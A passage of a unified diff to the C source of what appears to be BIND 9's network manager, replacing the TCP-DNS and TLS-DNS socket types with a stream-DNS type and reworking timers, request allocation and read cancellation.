-	case isc_nm_tlsdnssocket:
-		isc__nm_tlsdns_failed_read_cb(sock, result, async);
+	case isc_nm_streamdnssocket:
+		isc__nm_streamdns_failed_read_cb(sock, result, async);
 		return;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -1994,51 +1061,80 @@ isc__nmsocket_connecttimeout_cb(uv_timer_t *timer) {
 	isc__nm_uvreq_t *req = uv_handle_get_data((uv_handle_t *)uvreq);
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->connecting));
+	REQUIRE(sock->tid == isc_tid());
 	REQUIRE(VALID_UVREQ(req));
 	REQUIRE(VALID_NMHANDLE(req->handle));
+	REQUIRE(sock->connecting);
 
 	isc__nmsocket_timer_stop(sock);
 
-	if (sock->tls.pending_req != NULL) {
-		REQUIRE(req == sock->tls.pending_req);
-		sock->tls.pending_req = NULL;
+	/*
+	 * Mark the connection as timed out and shutdown the socket.
+	 */
+	REQUIRE(!sock->timedout);
+	sock->timedout = true;
+	isc__nmsocket_shutdown(sock);
+}
+
+void
+isc__nm_accept_connection_log(isc_nmsocket_t *sock, isc_result_t result,
+			      bool can_log_quota) {
+	int level;
+
+	switch (result) {
+	case ISC_R_SUCCESS:
+	case ISC_R_NOCONN:
+		return;
+	case ISC_R_QUOTA:
+	case ISC_R_SOFTQUOTA:
+		if (!can_log_quota) {
+			return;
+		}
+		level = ISC_LOG_INFO;
+		break;
+	case ISC_R_NOTCONNECTED:
+		level = ISC_LOG_INFO;
+		break;
+	default:
+		level = ISC_LOG_ERROR;
 	}
 
-	/* Call the connect callback directly */
+	isc__nmsocket_log(sock, level, "Accepting TCP connection failed: %s",
+			  isc_result_totext(result));
+}
+
+void
+isc__nmsocket_writetimeout_cb(void *data, isc_result_t eresult) {
+	isc__nm_uvreq_t *req = data;
+	isc_nmsocket_t *sock = NULL;
 
-	req->cb.connect(req->handle, ISC_R_TIMEDOUT, req->cbarg);
+	REQUIRE(eresult == ISC_R_TIMEDOUT);
+	REQUIRE(VALID_UVREQ(req));
+	REQUIRE(VALID_NMSOCK(req->sock));
 
-	/* Timer is not running, cleanup and shutdown everything */
-	if (!isc__nmsocket_timer_running(sock)) {
-		INSIST(atomic_compare_exchange_strong(&sock->connecting,
-						      &(bool){ true }, false));
-		isc__nm_uvreq_put(&req, sock);
-		isc__nmsocket_clearcb(sock);
-		isc__nmsocket_shutdown(sock);
-	}
+	sock = req->sock;
+
+	isc__nmsocket_reset(sock);
 }
 
-static void
+void
 isc__nmsocket_readtimeout_cb(uv_timer_t *timer) {
 	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)timer);
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->reading);
+	REQUIRE(sock->tid == isc_tid());
 
-	if (atomic_load(&sock->client)) {
+	if (sock->client) {
 		uv_timer_stop(timer);
 
 		if (sock->recv_cb != NULL) {
 			isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
-			isc__nm_readcb(sock, req, ISC_R_TIMEDOUT);
+			isc__nm_readcb(sock, req, ISC_R_TIMEDOUT, false);
 		}
 
 		if (!isc__nmsocket_timer_running(sock)) {
 			isc__nmsocket_clearcb(sock);
-			isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
+			isc__nm_failed_read_cb(sock, ISC_R_TIMEDOUT, false);
 		}
 	} else {
 		isc__nm_failed_read_cb(sock, ISC_R_TIMEDOUT, false);
@@ -2047,36 +1143,63 @@ isc__nmsocket_readtimeout_cb(uv_timer_t *timer) {
 
 void
 isc__nmsocket_timer_restart(isc_nmsocket_t *sock) {
-	int r = 0;
-
 	REQUIRE(VALID_NMSOCK(sock));
 
-	if (atomic_load(&sock->connecting)) {
+	switch (sock->type) {
+	case isc_nm_tlssocket:
+		isc__nmsocket_tls_timer_restart(sock);
+		return;
+	case isc_nm_streamdnssocket:
+		isc__nmsocket_streamdns_timer_restart(sock);
+		return;
+	default:
+		break;
+	}
+
+	if (uv_is_closing((uv_handle_t *)&sock->read_timer)) {
+		return;
+	}
+
+	if (sock->connecting) {
+		int r;
+
 		if (sock->connect_timeout == 0) {
 			return;
 		}
 
-		r = uv_timer_start(&sock->timer,
+		r = uv_timer_start(&sock->read_timer,
 				   isc__nmsocket_connecttimeout_cb,
 				   sock->connect_timeout + 10, 0);
+		UV_RUNTIME_CHECK(uv_timer_start, r);
 
 	} else {
+		int r;
+
 		if (sock->read_timeout == 0) {
 			return;
 		}
 
-		r = uv_timer_start(&sock->timer, isc__nmsocket_readtimeout_cb,
+		r = uv_timer_start(&sock->read_timer,
+				   isc__nmsocket_readtimeout_cb,
 				   sock->read_timeout, 0);
+		UV_RUNTIME_CHECK(uv_timer_start, r);
 	}
-
-	RUNTIME_CHECK(r == 0);
 }
 
 bool
 isc__nmsocket_timer_running(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
 
-	return (uv_is_active((uv_handle_t *)&sock->timer));
+	switch (sock->type) {
+	case isc_nm_tlssocket:
+		return (isc__nmsocket_tls_timer_running(sock));
+	case isc_nm_streamdnssocket:
+		return (isc__nmsocket_streamdns_timer_running(sock));
+	default:
+		break;
+	}
+
+	return (uv_is_active((uv_handle_t *)&sock->read_timer));
 }
 
 void
@@ -2092,32 +1215,64 @@ isc__nmsocket_timer_start(isc_nmsocket_t *sock) {
 
 void
 isc__nmsocket_timer_stop(isc_nmsocket_t *sock) {
+	int r;
+
 	REQUIRE(VALID_NMSOCK(sock));
 
+	switch (sock->type) {
+	case isc_nm_tlssocket:
+		isc__nmsocket_tls_timer_stop(sock);
+		return;
+	case isc_nm_streamdnssocket:
+		isc__nmsocket_streamdns_timer_stop(sock);
+		return;
+	default:
+		break;
+	}
+
 	/* uv_timer_stop() is idempotent, no need to check if running */
 
-	int r = uv_timer_stop(&sock->timer);
-	RUNTIME_CHECK(r == 0);
+	r = uv_timer_stop(&sock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_stop, r);
 }
 
 isc__nm_uvreq_t *
-isc__nm_get_read_req(isc_nmsocket_t *sock, isc_sockaddr_t *sockaddr) {
+isc___nm_get_read_req(isc_nmsocket_t *sock, isc_sockaddr_t *sockaddr FLARG) {
 	isc__nm_uvreq_t *req = NULL;
 
-	req = isc__nm_uvreq_get(sock->mgr, sock);
+	req = isc__nm_uvreq_get(sock);
 	req->cb.recv = sock->recv_cb;
 	req->cbarg = sock->recv_cbarg;
 
 	switch (sock->type) {
 	case isc_nm_tcpsocket:
 	case isc_nm_tlssocket:
+#if ISC_NETMGR_TRACE
+		isc_nmhandle__attach(sock->statichandle,
+				     &req->handle FLARG_PASS);
+#else
 		isc_nmhandle_attach(sock->statichandle, &req->handle);
+#endif
+		break;
+	case isc_nm_streamdnssocket:
+#if ISC_NETMGR_TRACE
+		isc_nmhandle__attach(sock->recv_handle,
+				     &req->handle FLARG_PASS);
+#else
+		isc_nmhandle_attach(sock->recv_handle, &req->handle);
+#endif
 		break;
 	default:
-		if (atomic_load(&sock->client)) {
+		if (sock->client && sock->statichandle != NULL) {
+#if ISC_NETMGR_TRACE
+			isc_nmhandle__attach(sock->statichandle,
+					     &req->handle FLARG_PASS);
+#else
 			isc_nmhandle_attach(sock->statichandle, &req->handle);
+#endif
 		} else {
-			req->handle = isc__nmhandle_get(sock, sockaddr, NULL);
+			req->handle = isc___nmhandle_get(sock, sockaddr,
+							 NULL FLARG_PASS);
 		}
 		break;
 	}
@@ -2126,7 +1281,7 @@ isc__nm_get_read_req(isc_nmsocket_t *sock, isc_sockaddr_t *sockaddr) {
 }
 
 /*%<
- * Allocator for read operations. Limited to size 2^16.
+ * Allocator callback for read operations.
  *
  * Note this doesn't actually allocate anything, it just assigns the
  * worker's receive buffer to a socket, and marks it as "in use".
@@ -2137,45 +1292,41 @@ isc__nm_alloc_cb(uv_handle_t *handle, size_t size, uv_buf_t *buf) {
 	isc__networker_t *worker = NULL;
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(isc__nm_in_netthread());
+	/*
+	 * The size provided by libuv is only suggested size, and it always
+	 * defaults to 64 * 1024 in the current versions of libuv (see
+	 * src/unix/udp.c and src/unix/stream.c).
+	 */
+	UNUSED(size);
+
+	worker = sock->worker;
+	INSIST(!worker->recvbuf_inuse);
+	INSIST(worker->recvbuf != NULL);
 
 	switch (sock->type) {
 	case isc_nm_udpsocket:
-		REQUIRE(size <= ISC_NETMGR_RECVBUF_SIZE);
-		size = ISC_NETMGR_RECVBUF_SIZE;
+		buf->len = ISC_NETMGR_UDP_RECVBUF_SIZE;
 		break;
 	case isc_nm_tcpsocket:
-	case isc_nm_tcpdnssocket:
-		break;
-	case isc_nm_tlsdnssocket:
-		/*
-		 * We need to limit the individual chunks to be read, so the
-		 * BIO_write() will always succeed and the consumed before the
-		 * next readcb is called.
-		 */
-		if (size >= ISC_NETMGR_TLSBUF_SIZE) {
-			size = ISC_NETMGR_TLSBUF_SIZE;
-		}
+		buf->len = ISC_NETMGR_TCP_RECVBUF_SIZE;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
-	worker = &sock->mgr->workers[sock->tid];
-	INSIST(!worker->recvbuf_inuse || sock->type == isc_nm_udpsocket);
-
+	REQUIRE(buf->len <= ISC_NETMGR_RECVBUF_SIZE);
 	buf->base = worker->recvbuf;
-	buf->len = size;
+
 	worker->recvbuf_inuse = true;
 }
 
-void
+isc_result_t
 isc__nm_start_reading(isc_nmsocket_t *sock) {
+	isc_result_t result = ISC_R_SUCCESS;
 	int r;
 
-	if (sock->reading) {
-		return;
+	if (uv_is_active(&sock->uv_handle.handle)) {
+		return (ISC_R_SUCCESS);
 	}
 
 	switch (sock->type) {
@@ -2187,163 +1338,71 @@ isc__nm_start_reading(isc_nmsocket_t *sock) {
 		r = uv_read_start(&sock->uv_handle.stream, isc__nm_alloc_cb,
 				  isc__nm_tcp_read_cb);
 		break;
-	case isc_nm_tcpdnssocket:
-		r = uv_read_start(&sock->uv_handle.stream, isc__nm_alloc_cb,
-				  isc__nm_tcpdns_read_cb);
-		break;
-	case isc_nm_tlsdnssocket:
-		r = uv_read_start(&sock->uv_handle.stream, isc__nm_alloc_cb,
-				  isc__nm_tlsdns_read_cb);
-		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
-	RUNTIME_CHECK(r == 0);
-	sock->reading = true;
+	if (r != 0) {
+		result = isc_uverr2result(r);
+	}
+
+	return (result);
 }
 
 void
 isc__nm_stop_reading(isc_nmsocket_t *sock) {
 	int r;
 
-	if (!sock->reading) {
+	if (!uv_is_active(&sock->uv_handle.handle)) {
 		return;
 	}
 
 	switch (sock->type) {
 	case isc_nm_udpsocket:
 		r = uv_udp_recv_stop(&sock->uv_handle.udp);
+		UV_RUNTIME_CHECK(uv_udp_recv_stop, r);
 		break;
 	case isc_nm_tcpsocket:
-	case isc_nm_tcpdnssocket:
-	case isc_nm_tlsdnssocket:
 		r = uv_read_stop(&sock->uv_handle.stream);
+		UV_RUNTIME_CHECK(uv_read_stop, r);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
-	RUNTIME_CHECK(r == 0);
-	sock->reading = false;
 }
 
 bool
-isc__nm_closing(isc_nmsocket_t *sock) {
-	return (atomic_load(&sock->mgr->closing));
+isc__nm_closing(isc__networker_t *worker) {
+	return (worker->shuttingdown);
 }
 
 bool
 isc__nmsocket_closing(isc_nmsocket_t *sock) {
-	return (!isc__nmsocket_active(sock) || atomic_load(&sock->closing) ||
-		atomic_load(&sock->mgr->closing) ||
+	return (!sock->active || sock->closing ||
+		isc__nm_closing(sock->worker) ||
 		(sock->server != NULL && !isc__nmsocket_active(sock->server)));
 }
 
-static isc_result_t
-processbuffer(isc_nmsocket_t *sock) {
-	switch (sock->type) {
-	case isc_nm_tcpdnssocket:
-		return (isc__nm_tcpdns_processbuffer(sock));
-	case isc_nm_tlsdnssocket:
-		return (isc__nm_tlsdns_processbuffer(sock));
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-}
-
-/*
- * Process a DNS message.
- *
- * If we only have an incomplete DNS message, we don't touch any
- * timers. If we do have a full message, reset the timer.
- *
- * Stop reading if this is a client socket, or if the server socket
- * has been set to sequential mode, or the number of queries we are
- * processing simultaneously has reached the clients-per-connection
- * limit. In this case we'll be called again by resume_processing()
- * later.
- */
-void
-isc__nm_process_sock_buffer(isc_nmsocket_t *sock) {
-	for (;;) {
-		int_fast32_t ah = atomic_load(&sock->ah);
-		isc_result_t result = processbuffer(sock);
-		switch (result) {
-		case ISC_R_NOMORE:
-			/*
-			 * Don't reset the timer until we have a
-			 * full DNS message.
-			 */
-			isc__nm_start_reading(sock);
-			/*
-			 * Start the timer only if there are no externally used
-			 * active handles, there's always one active handle
-			 * attached internally to sock->recv_handle in
-			 * accept_connection()
-			 */
-			if (ah == 1) {
-				isc__nmsocket_timer_start(sock);
-			}
-			return;
-		case ISC_R_CANCELED:
-			isc__nmsocket_timer_stop(sock);
-			isc__nm_stop_reading(sock);
-			return;
-		case ISC_R_SUCCESS:
-			/*
-			 * Stop the timer on the successful message read, this
-			 * also allows to restart the timer when we have no more
-			 * data.
-			 */
-			isc__nmsocket_timer_stop(sock);
-
-			if (atomic_load(&sock->client) ||
-			    atomic_load(&sock->sequential) ||
-			    ah >= STREAM_CLIENTS_PER_CONN)
-			{
-				isc__nm_stop_reading(sock);
-				return;
-			}
-			break;
-		default:
-			INSIST(0);
-		}
-	}
-}
-
-void
-isc__nm_resume_processing(void *arg) {
-	isc_nmsocket_t *sock = (isc_nmsocket_t *)arg;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(!atomic_load(&sock->client));
-
-	if (isc__nmsocket_closing(sock)) {
-		return;
-	}
-
-	isc__nm_process_sock_buffer(sock);
-}
-
 void
 isc_nmhandle_cleartimeout(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
 	switch (handle->sock->type) {
+#if HAVE_LIBNGHTTP2
 	case isc_nm_httpsocket:
 		isc__nm_http_cleartimeout(handle);
 		return;
+#endif
 	case isc_nm_tlssocket:
 		isc__nm_tls_cleartimeout(handle);
 		return;
+	case isc_nm_streamdnssocket:
+		isc__nmhandle_streamdns_cleartimeout(handle);
+		return;
 	default:
 		handle->sock->read_timeout = 0;
 
-		if (uv_is_active((uv_handle_t *)&handle->sock->timer)) {
+		if (uv_is_active((uv_handle_t *)&handle->sock->read_timer)) {
 			isc__nmsocket_timer_stop(handle->sock);
 		}
 	}
@@ -2355,23 +1414,71 @@ isc_nmhandle_settimeout(isc_nmhandle_t *handle, uint32_t timeout) {
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
 	switch (handle->sock->type) {
+#if HAVE_LIBNGHTTP2
 	case isc_nm_httpsocket:
 		isc__nm_http_settimeout(handle, timeout);
 		return;
+#endif
 	case isc_nm_tlssocket:
 		isc__nm_tls_settimeout(handle, timeout);
 		return;
+	case isc_nm_streamdnssocket:
+		isc__nmhandle_streamdns_settimeout(handle, timeout);
+		return;
 	default:
 		handle->sock->read_timeout = timeout;
 		isc__nmsocket_timer_restart(handle->sock);
 	}
 }
 
-void *
-isc_nmhandle_getextra(isc_nmhandle_t *handle) {
+void
+isc_nmhandle_keepalive(isc_nmhandle_t *handle, bool value) {
+	isc_nmsocket_t *sock = NULL;
+	isc_nm_t *netmgr = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	sock = handle->sock;
+	netmgr = sock->worker->netmgr;
+
+	REQUIRE(sock->tid == isc_tid());
+
+	switch (sock->type) {
+	case isc_nm_tcpsocket:
+		sock->keepalive = value;
+		sock->read_timeout =
+			value ? atomic_load_relaxed(&netmgr->keepalive)
+			      : atomic_load_relaxed(&netmgr->idle);
+		sock->write_timeout =
+			value ? atomic_load_relaxed(&netmgr->keepalive)
+			      : atomic_load_relaxed(&netmgr->idle);
+		break;
+	case isc_nm_streamdnssocket:
+		isc__nmhandle_streamdns_keepalive(handle, value);
+		break;
+	case isc_nm_tlssocket:
+		isc__nmhandle_tls_keepalive(handle, value);
+		break;
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httpsocket:
+		isc__nmhandle_http_keepalive(handle, value);
+		break;
+#endif /* HAVE_LIBNGHTTP2 */
+	default:
+		/*
+		 * For any other protocol, this is a no-op.
+		 */
+		return;
+	}
+}
+
+bool
+isc_nmhandle_timer_running(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	return (handle->extra);
+	return (isc__nmsocket_timer_running(handle->sock));
 }
 
 isc_sockaddr_t
@@ -2393,65 +1500,57 @@ isc_nmhandle_netmgr(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	return (handle->sock->mgr);
+	return (handle->sock->worker->netmgr);
 }
 
 isc__nm_uvreq_t *
-isc___nm_uvreq_get(isc_nm_t *mgr, isc_nmsocket_t *sock FLARG) {
-	isc__nm_uvreq_t *req = NULL;
-
-	REQUIRE(VALID_NM(mgr));
+isc___nm_uvreq_get(isc_nmsocket_t *sock FLARG) {
 	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
 
-	if (sock != NULL && isc__nmsocket_active(sock)) {
-		/* Try to reuse one */
-		req = isc_astack_pop(sock->inactivereqs);
-	}
+	isc__networker_t *worker = sock->worker;
 
-	if (req == NULL) {
-		req = isc_mempool_get(mgr->reqpool);
-	}
+	isc__nm_uvreq_t *req = isc_mempool_get(worker->uvreq_pool);
+	*req = (isc__nm_uvreq_t){
+		.connect_tries = 3,
+		.link = ISC_LINK_INITIALIZER,
+		.active_link = ISC_LINK_INITIALIZER,
+		.magic = UVREQ_MAGIC,
+	};
+	uv_handle_set_data(&req->uv_req.handle, req);
 
-	*req = (isc__nm_uvreq_t){ .magic = 0 };
-	ISC_LINK_INIT(req, link);
-	req->uv_req.req.data = req;
 	isc___nmsocket_attach(sock, &req->sock FLARG_PASS);
-	req->magic = UVREQ_MAGIC;
+
+	ISC_LIST_APPEND(sock->active_uvreqs, req, active_link);
 
 	return (req);
 }
 
 void
-isc___nm_uvreq_put(isc__nm_uvreq_t **req0, isc_nmsocket_t *sock FLARG) {
-	isc__nm_uvreq_t *req = NULL;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(req0 != NULL);
-	REQUIRE(VALID_UVREQ(*req0));
-
-	req = *req0;
-	*req0 = NULL;
-
-	INSIST(sock == req->sock);
+isc___nm_uvreq_put(isc__nm_uvreq_t **reqp FLARG) {
+	REQUIRE(reqp != NULL && VALID_UVREQ(*reqp));
 
-	req->magic = 0;
+	isc__nm_uvreq_t *req = *reqp;
+	isc_nmhandle_t *handle = req->handle;
+	isc_nmsocket_t *sock = req->sock;
 
-	/*
-	 * We need to save this first to make sure that handle,
-	 * sock, and the netmgr won't all disappear.
-	 */
-	handle = req->handle;
+	*reqp = NULL;
 	req->handle = NULL;
 
-	if (!isc__nmsocket_active(sock) ||
-	    !isc_astack_trypush(sock->inactivereqs, req)) {
-		isc_mempool_put(sock->mgr->reqpool, req);
-	}
+	REQUIRE(VALID_UVREQ(req));
+
+	ISC_LIST_UNLINK(sock->active_uvreqs, req, active_link);
 
 	if (handle != NULL) {
-		isc__nmhandle_detach(&handle FLARG_PASS);
+#if ISC_NETMGR_TRACE
+		isc_nmhandle__detach(&handle, func, file, line);
+#else
+		isc_nmhandle_detach(&handle);
+#endif
 	}
 
+	isc_mempool_put(sock->worker->uvreq_pool, req);
+
 	isc___nmsocket_detach(&sock FLARG_PASS);
 }
 
@@ -2468,34 +1567,42 @@ isc_nm_send(isc_nmhandle_t *handle, isc_region_t *region, isc_nm_cb_t cb,
 	case isc_nm_tcpsocket:
 		isc__nm_tcp_send(handle, region, cb, cbarg);
 		break;
-	case isc_nm_tcpdnssocket:
-		isc__nm_tcpdns_send(handle, region, cb, cbarg);
+	case isc_nm_streamdnssocket:
+		isc__nm_streamdns_send(handle, region, cb, cbarg);
 		break;
 	case isc_nm_tlssocket:
 		isc__nm_tls_send(handle, region, cb, cbarg);
 		break;
-	case isc_nm_tlsdnssocket:
-		isc__nm_tlsdns_send(handle, region, cb, cbarg);
-		break;
+#if HAVE_LIBNGHTTP2
 	case isc_nm_httpsocket:
 		isc__nm_http_send(handle, region, cb, cbarg);
 		break;
+#endif
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
 void
-isc_nm_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
+isc__nm_senddns(isc_nmhandle_t *handle, isc_region_t *region, isc_nm_cb_t cb,
+		void *cbarg) {
 	REQUIRE(VALID_NMHANDLE(handle));
 
-	/*
-	 * This is always called via callback (from accept or connect), and
-	 * caller must attach to the handle, so the references always need to be
-	 * at least 2.
-	 */
-	REQUIRE(isc_refcount_current(&handle->references) >= 2);
+	switch (handle->sock->type) {
+	case isc_nm_tcpsocket:
+		isc__nm_tcp_senddns(handle, region, cb, cbarg);
+		break;
+	case isc_nm_tlssocket:
+		isc__nm_tls_senddns(handle, region, cb, cbarg);
+		break;
+	default:
+		UNREACHABLE();
+	}
+}
+
+void
+isc_nm_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
+	REQUIRE(VALID_NMHANDLE(handle));
 
 	switch (handle->sock->type) {
 	case isc_nm_udpsocket:
@@ -2504,88 +1611,82 @@ isc_nm_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
 	case isc_nm_tcpsocket:
 		isc__nm_tcp_read(handle, cb, cbarg);
 		break;
-	case isc_nm_tcpdnssocket:
-		isc__nm_tcpdns_read(handle, cb, cbarg);
+	case isc_nm_streamdnssocket:
+		isc__nm_streamdns_read(handle, cb, cbarg);
 		break;
 	case isc_nm_tlssocket:
 		isc__nm_tls_read(handle, cb, cbarg);
 		break;
-	case isc_nm_tlsdnssocket:
-		isc__nm_tlsdns_read(handle, cb, cbarg);
-		break;
+#if HAVE_LIBNGHTTP2
 	case isc_nm_httpsocket:
 		isc__nm_http_read(handle, cb, cbarg);
 		break;
+#endif
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
-void
-isc_nm_cancelread(isc_nmhandle_t *handle) {
+static void
+cancelread_cb(void *arg) {
+	isc_nmhandle_t *handle = arg;
+
 	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->tid == isc_tid());
+
+	REQUIRE(handle->sock->tid == isc_tid());
 
 	switch (handle->sock->type) {
 	case isc_nm_udpsocket:
-		isc__nm_udp_cancelread(handle);
-		break;
-	case isc_nm_tcpsocket:
-		isc__nm_tcp_cancelread(handle);
-		break;
-	case isc_nm_tcpdnssocket:
-		isc__nm_tcpdns_cancelread(handle);
-		break;
-	case isc_nm_tlsdnssocket:
-		isc__nm_tlsdns_cancelread(handle);
-		break;
-	case isc_nm_tlssocket:
-		isc__nm_tls_cancelread(handle);
+	case isc_nm_streamdnssocket:
+	case isc_nm_httpsocket:
+		isc__nm_failed_read_cb(handle->sock, ISC_R_CANCELED, false);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
+
+	isc_nmhandle_detach(&handle);
 }
 
 void
-isc_nm_pauseread(isc_nmhandle_t *handle) {
+isc_nm_cancelread(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	isc_nmsocket_t *sock = handle->sock;
-
-	switch (sock->type) {
-	case isc_nm_tcpsocket:
-		isc__nm_tcp_pauseread(handle);
-		break;
-	case isc_nm_tlssocket:
-		isc__nm_tls_pauseread(handle);
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
+	/* Running this directly could cause a dead-lock */
+	isc_nmhandle_ref(handle);
+	isc_async_run(handle->sock->worker->loop, cancelread_cb, handle);
 }
 
 void
-isc_nm_resumeread(isc_nmhandle_t *handle) {
+isc_nm_read_stop(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
 
 	isc_nmsocket_t *sock = handle->sock;
 
 	switch (sock->type) {
 	case isc_nm_tcpsocket:
-		isc__nm_tcp_resumeread(handle);
+		isc__nm_tcp_read_stop(handle);
 		break;
 	case isc_nm_tlssocket:
-		isc__nm_tls_resumeread(handle);
+		isc__nm_tls_read_stop(handle);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
+void
+isc_nmhandle_close(isc_nmhandle_t *handle) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	isc__nmsocket_clearcb(handle->sock);
+	isc__nmsocket_prep_destroy(handle->sock);
+}
+
 void
 isc_nm_stoplistening(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
@@ -2594,176 +1695,182 @@ isc_nm_stoplistening(isc_nmsocket_t *sock) {
 	case isc_nm_udplistener:
 		isc__nm_udp_stoplistening(sock);
 		break;
-	case isc_nm_tcpdnslistener:
-		isc__nm_tcpdns_stoplistening(sock);
-		break;
 	case isc_nm_tcplistener:
 		isc__nm_tcp_stoplistening(sock);
 		break;
+	case isc_nm_streamdnslistener:
+		isc__nm_streamdns_stoplistening(sock);
+		break;
 	case isc_nm_tlslistener:
 		isc__nm_tls_stoplistening(sock);
 		break;
-	case isc_nm_tlsdnslistener:
-		isc__nm_tlsdns_stoplistening(sock);
-		break;
+#if HAVE_LIBNGHTTP2
 	case isc_nm_httplistener:
 		isc__nm_http_stoplistening(sock);
 		break;
+#endif
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
 void
-isc__nm_connectcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
-		  isc_result_t eresult, bool async) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(uvreq));
-	REQUIRE(VALID_NMHANDLE(uvreq->handle));
+isc__nmsocket_stop(isc_nmsocket_t *listener) {
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(listener->tid == isc_tid());
+	REQUIRE(listener->tid == 0);
+	REQUIRE(listener->type == isc_nm_httplistener ||
+		listener->type == isc_nm_tlslistener ||
+		listener->type == isc_nm_streamdnslistener);
+	REQUIRE(!listener->closing);
 
-	if (!async) {
-		isc__netievent_connectcb_t ievent = { .sock = sock,
-						      .req = uvreq,
-						      .result = eresult };
-		isc__nm_async_connectcb(NULL, (isc__netievent_t *)&ievent);
-	} else {
-		isc__netievent_connectcb_t *ievent =
-			isc__nm_get_netievent_connectcb(sock->mgr, sock, uvreq,
-							eresult);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-}
+	listener->closing = true;
 
-void
-isc__nm_async_connectcb(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_connectcb_t *ievent = (isc__netievent_connectcb_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-	isc_result_t eresult = ievent->result;
+	REQUIRE(listener->outer != NULL);
+	isc_nm_stoplistening(listener->outer);
 
-	UNUSED(worker);
+	listener->accept_cb = NULL;
+	listener->accept_cbarg = NULL;
+	listener->recv_cb = NULL;
+	listener->recv_cbarg = NULL;
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(uvreq));
-	REQUIRE(VALID_NMHANDLE(uvreq->handle));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-	REQUIRE(uvreq->cb.connect != NULL);
+	isc__nmsocket_detach(&listener->outer);
+
+	listener->closed = true;
+}
 
-	uvreq->cb.connect(uvreq->handle, eresult, uvreq->cbarg);
+void
+isc__nmsocket_barrier_init(isc_nmsocket_t *listener) {
+	REQUIRE(listener->nchildren > 0);
+	isc_barrier_init(&listener->listen_barrier, listener->nchildren);
+	isc_barrier_init(&listener->stop_barrier, listener->nchildren);
+	listener->barriers_initialised = true;
+}
+
+static void
+isc___nm_connectcb(void *arg) {
+	isc__nm_uvreq_t *uvreq = arg;
 
-	isc__nm_uvreq_put(&uvreq, sock);
+	uvreq->cb.connect(uvreq->handle, uvreq->result, uvreq->cbarg);
+	isc__nm_uvreq_put(&uvreq);
 }
 
 void
-isc__nm_readcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
-	       isc_result_t eresult) {
+isc__nm_connectcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
+		  isc_result_t eresult, bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(uvreq));
 	REQUIRE(VALID_NMHANDLE(uvreq->handle));
+	REQUIRE(uvreq->cb.connect != NULL);
 
-	if (eresult == ISC_R_SUCCESS || eresult == ISC_R_TIMEDOUT) {
-		isc__netievent_readcb_t ievent = { .sock = sock,
-						   .req = uvreq,
-						   .result = eresult };
+	uvreq->result = eresult;
 
